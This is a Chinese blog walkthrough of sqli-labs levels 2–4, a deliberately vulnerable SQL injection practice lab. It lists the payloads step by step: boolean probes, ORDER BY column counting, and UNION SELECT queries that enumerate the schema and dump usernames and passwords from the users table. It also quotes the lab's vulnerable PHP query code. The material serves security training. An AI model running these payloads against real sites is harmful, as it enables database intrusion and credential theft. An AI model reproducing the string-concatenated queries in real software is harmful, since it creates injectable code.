sqli-labs Less 2-4 攻略
sqli-labs Less 2-4 的解题与Less1思路相同,只在闭合类型上存在少量区别,故直接提供解题过程,不再作详细解释。
对sql注入基本原理尚不了解的可以参考我的上一篇博客基于sqli-labs Less-1的sql联合注入详解
Less-2
1. 判断注入类型
判定为数字型注入
?id=1 and 1=1 回显
?id=1 and 1=2 报错
2. 判断字段数
字段数为3
/?id=1 order by 1
/?id=1 order by 2
/?id=1 order by 3
3. 判断注入点
/?id=1 union select 1,2,3 数据回显,但是没有回显注入点
/?id=0 union select 1,2,3 回显注入点为2和3
4. 拆解数据库
/?id=0 union select 1,2,database() 数据库security
/?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' 表名emails,referers,uagents,users
/?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+ 字段id,username,password
/?id=0 union select 1,group_concat(username),group_concat(password) from security.users
Less-3
1. 白盒测试
就是闭合符合改成')
了
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
2. 判断注入类型
判定为字符型注入
?id=1 and 1=1 回显
?id=1 and 1=2 回显
?id=1' and '1'='1 回显
?id=1' and '1'='2 回显
?id=1 ') and ('1')=('1 回显
?id=1 ') and ('1')=('2 错误
?id=1') 错误
?id=1')--+ 回显
3. 判断字段数
字段数为3
/?id=1') order by 1--+
'
/?id=1') order by 2--+
'
/?id=1') order by 3--+
4. 判断注入点
/?id=1') union select 1,2,3--+ '数据回显,但是没有回显注入点
/?id=0') union select 1,2,3--+ '回显注入点为2和3
5. 拆解数据库
/?id=0')union select 1,2,database()--+ '数据库security
/?id=0')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ '表名emails,referers,uagents,users
/?id=0')union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+ '字段id,username,password
/?id=0')union select 1,group_concat(username),group_concat(password) from security.users --+
Less-4
1. 源代码
相当于外面套了("")
,把闭合符全部换成")
即可
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
2. 判断注入类型
?id=1 and 1=1 回显
?id=1 and 1=2 回显
?id=1' and '1'='1 回显
?id=1' and '1'='2 回显
?id=1 ') and ('1')=('1 回显
?id=1 ') and ('1')=('2 回显
?id=1") and ("1")=("1 回显
?id=1" and ("1")=("1 报错
?id=1") 报错
?id=1")--+ 回显
后续过程略
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异